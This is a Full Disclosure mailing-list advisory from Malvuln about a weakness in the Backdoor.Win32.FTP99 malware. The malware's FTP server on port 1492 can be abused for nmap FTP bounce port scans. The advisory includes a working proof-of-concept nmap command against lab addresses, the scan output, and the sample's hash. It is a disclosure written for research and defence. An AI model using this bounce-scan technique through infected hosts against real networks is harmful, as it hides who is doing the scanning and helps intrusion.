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Date: Mon, 24 Jan 2022 21:06:52 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.FTP99 / Port Bounce Scan (MITM)

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/09dd14d3988e08a56798b1480c55a5b0_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP99
Vulnerability: Port Bounce Scan (MITM)
Description: The malware listens on TCP port 1492. Third-party intruders
who successfully logon can abuse the backdoor FTP server as a
man-in-the-middle machine allowing PORT Command bounce scan attacks using
Nmap. This vulnerability allows remote attackers to abuse your system and
discreetly conduct network port scanning. Victims will then think these
scans are originating from the infected system running the afflicted
malware FTP Server and not you.
Type: PE32
MD5: 09dd14d3988e08a56798b1480c55a5b0
Vuln ID: MVID-2022-0466
Dropped files: Windll16.exe
Disclosure: 01/24/2022

Exploit/PoC:
nmap -n -Pn -b hackcity:@192.168.18.129:1492 -p21,22,80 192.168.18.237 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-17 16:29 UTC-11
Resolved FTP bounce attack proxy to 192.168.18.129 (192.168.18.129).
Attempting connection to ftp://hackcity:@192.168.18.129:1492
Connected:220-Serv-U FTP-Server v2.3b for WinSock ready...
220 0wn3d
Login credentials accepted by FTP server!
Initiating Bounce Scan at 16:29
Removed 21
Changed my mind about port 21
Discovered open port 80/tcp on 192.168.18.237
Removed 22
Changed my mind about port 22
Completed Bounce Scan at 16:29, 2.17s elapsed (3 total ports)
Nmap scan report for 192.168.18.237
Host is up.

PORT   STATE  SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open   http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 9.44 seconds


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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